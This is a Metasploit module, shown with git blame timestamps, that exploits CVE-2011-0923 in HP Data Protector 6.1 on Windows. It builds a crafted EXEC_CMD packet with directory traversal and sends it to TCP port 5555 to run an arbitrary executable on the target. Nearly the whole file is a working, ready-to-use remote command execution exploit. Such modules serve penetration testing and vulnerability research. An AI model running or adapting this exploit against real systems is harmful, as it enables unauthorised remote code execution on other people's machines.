Files
metasploit-gs/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb
T

97 lines
2.8 KiB
Ruby
Raw Normal View History

##
2014-10-17 11:47:33 -05:00
# This module requires Metasploit: http://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Auxiliary
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::Tcp
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => 'HP Data Protector 6.1 EXEC_CMD Command Execution',
'Description' => %q{
This module exploits HP Data Protector's omniinet process, specifically
against a Windows setup.
2012-03-23 13:05:40 -05:00
2013-08-30 16:28:54 -05:00
When an EXEC_CMD packet is sent, omniinet.exe will attempt to look
for that user-supplied filename with kernel32!FindFirstFileW(). If the file
is found, the process will then go ahead execute it with CreateProcess()
under a new thread. If the filename isn't found, FindFirstFileW() will throw
an error (0x03), and then bails early without triggering CreateProcess().
2013-08-30 16:28:54 -05:00
Because of these behaviors, if you try to supply an argument, FindFirstFileW()
will look at that as part of the filename, and then bail.
2013-08-30 16:28:54 -05:00
Please note that when you specify the 'CMD' option, the base path begins
under C:\.
},
'References' =>
[
[ 'CVE', '2011-0923' ],
[ 'OSVDB', '72526' ],
2013-10-21 15:07:07 -05:00
[ 'ZDI', '11-055' ],
2013-08-30 16:28:54 -05:00
[ 'URL', 'http://hackarandas.com/blog/2011/08/04/hp-data-protector-remote-shell-for-hpux' ]
],
'Author' =>
[
'ch0ks', # poc
'c4an', # msf poc (linux)
'wireghoul', # Improved msf (linux)
'sinn3r'
],
'License' => MSF_LICENSE,
'DisclosureDate' => "Feb 7 2011"
))
2013-08-30 16:28:54 -05:00
register_options(
[
Opt::RPORT(5555),
OptString.new("CMD", [true, 'File to execute', 'Windows\System32\calc.exe'])
], self.class)
end
2013-08-30 16:28:54 -05:00
def run
cmd = datastore['CMD']
cmd << "\x00"*25
cmd << "\n"
2013-08-30 16:28:54 -05:00
user = Rex::Text.rand_text_alpha(4)
2013-08-30 16:28:54 -05:00
packet = "\x00\x00\x00\xa4\x20\x32\x00\x20"
packet << user*2
packet << "\x00\x20\x30\x00\x20"
packet << "SYSTEM"
packet << "\x00\x20\x63\x34\x61\x6e"
packet << "\x20\x20\x20\x20\x20\x00\x20\x43\x00\x20\x32\x30\x00\x20"
packet << user
packet << "\x20\x20\x20\x20\x00\x20"
packet << "\x50\x6f\x63"
packet << "\x00\x20"
packet << "NTAUTHORITY"
packet << "\x00\x20"
packet << "NTAUTHORITY"
packet << "\x00\x20"
packet << "NTAUTHORITY"
packet << "\x00\x20\x30\x00\x20\x30\x00\x20"
packet << "../../../../../../../../../../"
packet << cmd
2013-08-30 16:28:54 -05:00
begin
print_status("#{rhost}:#{rport} - Sending command...")
connect
sock.put(packet)
res = sock.get_once
print_status(res.to_s) if res and not res.empty?
rescue
print_error("#{rhost}:#{rport} - Unable to connect")
ensure
disconnect
end
end
2012-03-23 17:00:04 -05:00
end